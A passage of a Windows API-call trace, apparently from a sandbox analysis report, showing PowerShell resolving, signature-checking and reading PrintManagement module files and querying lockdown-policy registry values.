(pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.373] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.373] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.374] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.374] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.374] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.374] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.374] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0116.374] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0116.374] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerport_v1.0.cdxml")) returned 0x20 [0116.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.376] CoTaskMemAlloc (cb=0x20c) returned 0x73bf4c8 [0116.376] GetSystemDirectoryW (in: lpBuffer=0x73bf4c8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.376] CoTaskMemFree (pv=0x73bf4c8) [0116.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.376] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0116.376] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0116.376] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.376] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa7c) returned 0x0 [0116.377] RegQueryValueExW (in: hKey=0xa7c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0116.377] RegCloseKey (hKey=0xa7c) returned 0x0 [0116.377] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.377] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0116.377] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerport_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x5681ed0 | out: lpFileInformation=0x5681ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75208c1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x75208c1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x75208c1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1 [0116.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0116.377] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.377] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0116.377] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerport_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75208c1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x75208c1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x75208c1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1 [0116.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0116.377] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.377] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.378] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.378] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0116.378] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerport_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75208c1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x75208c1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x75208c1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1 [0116.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0116.378] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.378] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0116.378] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerport_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.378] GetFileType (hFile=0xa7c) returned 0x1 [0116.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0116.378] GetFileType (hFile=0xa7c) returned 0x1 [0116.378] WTGetSignatureInfo () returned 0x0 [0116.449] CertDuplicateCertificateContext (pCertContext=0x73ae530) returned 0x73ae530 [0116.449] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa8c) returned 0x0 [0116.450] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0116.450] RegQueryValueExW (in: hKey=0xa8c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x56823d4, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0116.450] RegCloseKey (hKey=0xa8c) returned 0x0 [0116.450] CoTaskMemAlloc (cb=0x10) returned 0x7443ce8 [0116.450] CoTaskMemAlloc (cb=0x30) returned 0x740d638 [0116.450] WinVerifyTrust () returned 0x0 [0116.450] CoTaskMemFree (pv=0x740d638) [0116.450] CoTaskMemFree (pv=0x7443ce8) [0116.450] CertFreeCertificateContext (pCertContext=0x73ae530) returned 1 [0116.450] CloseHandle (hObject=0xa7c) returned 1 [0116.450] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5f [0116.451] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", nBufferLength=0x5f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml", lpFilePart=0x0) returned 0x5e [0116.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0116.451] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPort_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerport_v1.0.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa7c [0116.451] GetFileType (hFile=0xa7c) returned 0x1 [0116.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0116.451] GetFileType (hFile=0xa7c) returned 0x1 [0116.451] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0116.451] ReadFile (in: hFile=0xa7c, lpBuffer=0x56833c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x56833c0*, lpNumberOfBytesRead=0x843d390*=0x8d6, lpOverlapped=0x0) returned 1 [0116.451] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x8d6 [0116.451] ReadFile (in: hFile=0xa7c, lpBuffer=0x5682836, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5682836*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.451] SetFilePointer (in: hFile=0xa7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x8d6 [0116.451] ReadFile (in: hFile=0xa7c, lpBuffer=0x56833c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x56833c0*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0116.451] CoTaskMemAlloc (cb=0x20c) returned 0x73bf918 [0116.451] GetSystemDirectoryW (in: lpBuffer=0x73bf918, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.451] CoTaskMemFree (pv=0x73bf918) [0116.451] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.451] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0116.452] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0116.452] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.452] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa5c) returned 0x0 [0116.452] RegQueryValueExW (in: hKey=0xa5c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0116.452] RegCloseKey (hKey=0xa5c) returned 0x0 [0116.452] CloseHandle (hObject=0xa7c) returned 1 [0116.453] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0116.453] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0116.453] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0116.453] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0116.454] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerporttasks_v1.0.cdxml")) returned 0x20 [0116.455] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.455] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.455] CoTaskMemAlloc (cb=0x20c) returned 0x73bea00 [0116.455] GetSystemDirectoryW (in: lpBuffer=0x73bea00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.455] CoTaskMemFree (pv=0x73bea00) [0116.455] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.455] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0116.455] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0116.455] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.455] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa7c) returned 0x0 [0116.456] RegQueryValueExW (in: hKey=0xa7c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0116.456] RegCloseKey (hKey=0xa7c) returned 0x0 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0116.456] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerporttasks_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x5692848 | out: lpFileInformation=0x5692848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75208c1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x75208c1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x75208c1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a7f)) returned 1 [0116.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0116.456] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerporttasks_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75208c1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x75208c1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x75208c1e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a7f)) returned 1 [0116.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0116.456] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", nBufferLength=0x64, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml", lpFilePart=0x0) returned 0x63 [0116.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0116.456] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement\\MSFT_PrinterPortTasks_v1.0.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement\\msft_printerporttasks_v1.0.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75208c1e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x75208c1e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x75208c1e, 